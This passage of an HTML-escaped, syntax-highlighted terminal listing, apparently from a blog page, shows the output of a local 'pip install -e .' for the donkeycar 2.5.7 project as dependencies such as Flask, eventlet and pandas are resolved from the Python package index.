&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;donkey&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; AMAC02XN1T9JGH5:donkeycar amit.bahree$ pip install -e .
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Obtaining file:///Users/amit.bahree/CloudStation/Documents/Code/donkeycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: numpy in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;1.14.5&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: pillow in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;4.2.1&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: docopt in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;0.6.2&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting &lt;span style=&#34;color:#f4dbd6&#34;&gt;tornado&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;4.5.3 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: requests in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;2.18.4&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: h5py in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;2.7.1&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting python-socketio &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/a1/71/118e4b7fb453d7095d6863f4b783dbaa57109af4bc2380300649c8942d61/python&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;socketio-4.0.0-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting flask &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/7f/e7/08578774ed4536d3242b14dacb4696386634607af824ea997202cd0edb4b/Flask-1.0.2-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting eventlet &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/86/7e/96e1412f96eeb2f2eca9342dcc4d5bc9305880a448b603b0a8e54439b71c/eventlet-0.24.1-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting pandas &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from &lt;span style=&#34;color:#f4dbd6&#34;&gt;donkeycar&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/99/12/bf4c58eea94cea4f91ff931f284146337814fb8546e6eb0b52584446fd52/pandas-0.24.1-cp36-cp36m-macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;6&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;intel.macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;9&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;intel.macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;9&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;x86&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;64.macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;intel.macosx&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;10&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;x86&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;64.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: olefile in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from pillow-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;0.44&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: chardet&amp;lt;3.1.0,&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;3.0.2 in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from requests-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;3.0.4&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: certifi&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2017.4.17 in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from requests-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;2017.7.27.1&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: idna&amp;lt;2.7,&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2.5 in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from requests-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;2.6&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: urllib3&amp;lt;1.23,&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;1.21.1 in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from requests-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;1.22&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requirement already satisfied: six in /anaconda3/envs/donkey/lib/python3.6/site-packages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from h5py-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;1.10.0&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting python-engineio&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;3.2.0 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from python-socketio-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/95/91/d083bd7b5d408af53633377dfbf87bf181236c8916d36213388b12eaa999/python&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;engineio-3.4.3-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting click&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;5.1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from flask-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/fa/37/45185cb5abbc30d7257104c434fe0b07e5a195a6847506c074527aa599ec/Click-7.0-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting itsdangerous&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0.24 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from flask-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/76/ae/44b03b253d6fade317f32c24d100b3b35c2239807046a4c953c7b89fa49e/itsdangerous-1.1.0-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting Werkzeug&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0.14 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from flask-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/20/c4/12e3e56473e52375aa29c4764e70d1b8f3efa6682bef8d0aae04fe335243/Werkzeug-0.14.1-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting Jinja2&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;2.10 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from flask-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/7f/ff/ae64bacdfc95f27a016a7bed8e8686763ba4d277a78ca76f32659220a731/Jinja2-2.10-py2.py3-none-any.whl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting monotonic&amp;gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;1.4 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;from eventlet-&amp;gt;donkeycar&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;2.5.7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
